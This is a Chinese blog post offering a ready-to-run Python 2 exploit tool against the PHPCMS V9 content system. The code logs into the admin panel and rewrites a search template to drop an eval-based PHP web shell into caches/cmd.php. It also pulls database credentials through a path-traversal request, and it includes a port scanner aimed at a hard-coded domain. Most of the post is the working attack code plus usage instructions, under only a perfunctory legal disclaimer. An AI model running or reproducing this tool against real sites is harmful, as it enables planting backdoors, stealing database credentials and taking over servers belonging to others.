Python版phpcmsV9自动写shell
- 发表于
- Vulndb
注意:本程序具有攻击性,请勿用作非法用途,否则于本作者无关!
最近一直在学习python相关内容就顺手写个工具以作练习,上代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 |
#coding: GBK ''' Created on 2012-8-2 @author: Return ''' import cookielib import urllib2,urllib import re import sys import os import socket class getShell: rhost = '' #远程目标主机 cookieSavePath = 'tmp/cookie/cookie.dat' #cookie 保存位置 codeSavePath = 'tmp/code/code.png' #code 保存位置 phpShell = '<?php $shell = "<?php eval(\$_POST[cmd]);?>"; file_put_contents("caches/cmd.php",$shell); ?>' #一句话 header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'} tmpPath = '' #临时地址存贮变量 dataBaseInfo = {} #数据库信息 postData = {} #post数据 url = '' #远程url地址 username = '' #用户名 password = '' #用户密码 vfCode = '' #验证码 pc_hash = '' #phpcmsV9校验值 result = '' #临时变量 #=========================================================================== # __init__ 初始化函数 #=========================================================================== def __init__(self): self.cookie = cookielib.LWPCookieJar() urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))) #=========================================================================== # login 登录 #=========================================================================== def login(self): self.getVerifyCode() #先获取验证码 self.tmpPath = '/index.php?m=admin&c=index&a=login&dosubmit=1' self.postData = { 'username':self.username, 'password':self.password, 'code':self.vfCode, 'dosubmit':'' } self.url = 'http://'+self.rhost+self.tmpPath self.result = self.urlPostData() if len(re.findall("登录成功",self.result)): self.pc_hash = re.search("(?<=pc_hash=)(.+?)(?=\')",self.result).group() print '登录成功' self.wirteShell() # 登陆成功后写入shell else: print '登录失败' print re.search('(330px">)((.|\n)*?)(?=</div>)',self.result).group(2) self.login() def wirteShell(self): print '写入Shell...' tmpPath = '/index.php?m=template&c=file&a=edit_file&style=default&dir=search&file=footer.html&pc_hash=' self.url = 'http://'+self.rhost+tmpPath+self.pc_hash #v9中必须加上校验码,否则不能通过 self.result = self.urlPostData() if len(re.findall('点击插入',self.result)): templateTmp = re.search("(<te.*?>)((.|\n)*?)(<.*?>)",self.result).group(2) #提交写shell模版 self.postData = { 'code':self.phpShell, 'dosubmit':'提交', 'pc_hash':self.pc_hash } self.url = 'http://'+self.rhost+tmpPath+self.pc_hash self.urlPostData() urllib2.urlopen('http://'+self.rhost+'/index.php?m=search').read()#访问模版页面生成shell #写回原模版 self.postData = { 'code':templateTmp, 'dosubmit':'提交', 'pc_hash':self.pc_hash } self.url = 'http://'+self.rhost+tmpPath+self.pc_hash self.urlPostData() else: print '没有找到Search的foot模版...' #=========================================================================== # getVerifyCode 获取验证码 #=========================================================================== def getVerifyCode(self): #验证码获取地址 self.tmpPath = '/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=' self.url = 'http://'+self.rhost+self.tmpPath open(self.codeSavePath,'wb').write(self.urlPostData()) print '请输入验证码:' self.showPic() self.vfCode = sys.stdin.readline() #=========================================================================== # urlPostData url Post提交数据 #=========================================================================== def urlPostData(self): postData = urllib.urlencode(self.postData) req = urllib2.Request( url = self.url, data = postData, headers = self.header ) result = urllib2.urlopen(req).read() self.saveCookie() self.delVariable() return result #=========================================================================== # getDataBaseInfo 获取数据库信息 #=========================================================================== def getDataBaseInfo(self): #爆数据库信息地址 self.tmpPath = '/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php' self.url = 'http://'+self.rhost+self.tmpPath result = self.urlPostData() self.dataBaseInfo['hostName'] = re.search("(?<='hostname' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['database'] = re.search("(?<='database' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['username'] = re.search("(?<='username' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['password'] = re.search("(?<='password' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['tablepre'] = re.search("(?<='tablepre' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['type'] = re.search("(?<='type' => ')(.*?)(?=',)",result).group() #=========================================================================== # printDbInfo 输出数据库信息 #=========================================================================== def printDbInfo(self): print 'HostName:',self.dataBaseInfo['hostName'] print 'DataBase:',self.dataBaseInfo['database'] print 'UserName:',self.dataBaseInfo['username'] print 'Password:',self.dataBaseInfo['password'] print 'TablePre:',self.dataBaseInfo['tablepre'] print 'DataType:',self.dataBaseInfo['type'] #=========================================================================== # scanPort 端口扫描 #=========================================================================== def scanPort(self): for p in range(80,8000): try: ip = 'www.gidigame.com' port = p s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print 'Port:',port,' open' s.close() except socket.error,msg: pass #print 'Port:',port,' close' #=========================================================================== # setRhost 设置目标主机 #=========================================================================== def setRhost(self,host): self.rhost = host #=========================================================================== # getRhost 获取目标主机 #=========================================================================== def getRhost(self): return self.rhost #=========================================================================== # setShell 自定义shell #=========================================================================== def setShell(self,shellCode): self.phpShell = shellCode #=========================================================================== # saveCookie 保存cookie值 #=========================================================================== def saveCookie(self): self.cookie.save(self.cookieSavePath) #=========================================================================== # logMsg 日志信息,这里可以自己捕捉异常后处理信息 #=========================================================================== def logMsg(self,msg): print msg exit() #=========================================================================== # showPic 用来显示验证码 #=========================================================================== def showPic(self): imgPath = os.path.abspath(self.codeSavePath) os.system('rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen '+imgPath) #=========================================================================== # delVariable 清除变量,防止产生误差 #=========================================================================== def delVariable(self): self.url = '' self.tmpPath = '' self.dataBaseInfo = {} self.postData = {} self.header ={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'} #=========================================================================== # __del__ 析构函数,类被注销时候调用 #=========================================================================== def __del__(self): print 'Bye...' def sysinfo(): print ''' ******************************************************************************** PHPcmsV9 自动写shell 功能:自动写入caches目录下cmd.php一句话 密码:cmd Author: Return Blog:www.creturn.com Example: exp.py www.creutn.com username password ******************************************************************************** ''' #=============================================================================== # main 入口函数 #=============================================================================== def main(): sysinfo(); shell = getShell() if(len(sys.argv) > 3): shell.setRhost(sys.argv[1]) shell.username = sys.argv[2] shell.password = sys.argv[3] shell.login() else: print '参数不对!' if __name__ == '__main__': main() |
使用说明,直接看实例截图:
运行程序后,输入目标地址如:www.site.com 用户名 密码
会自动用图片查看器打开验证码,然后输入验证码:
正确输入验证码后,程序会自动写入cache/cmd.php的一句话,由于找的一个测试外部站点,仅用了一些安全方面的函数因此一句话
就不能测试了,我就直接写入一个php文件输出一段文字:shell一句话:cmd
作者:Return's
原文连接:Python版phpcmsV9自动写shell
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。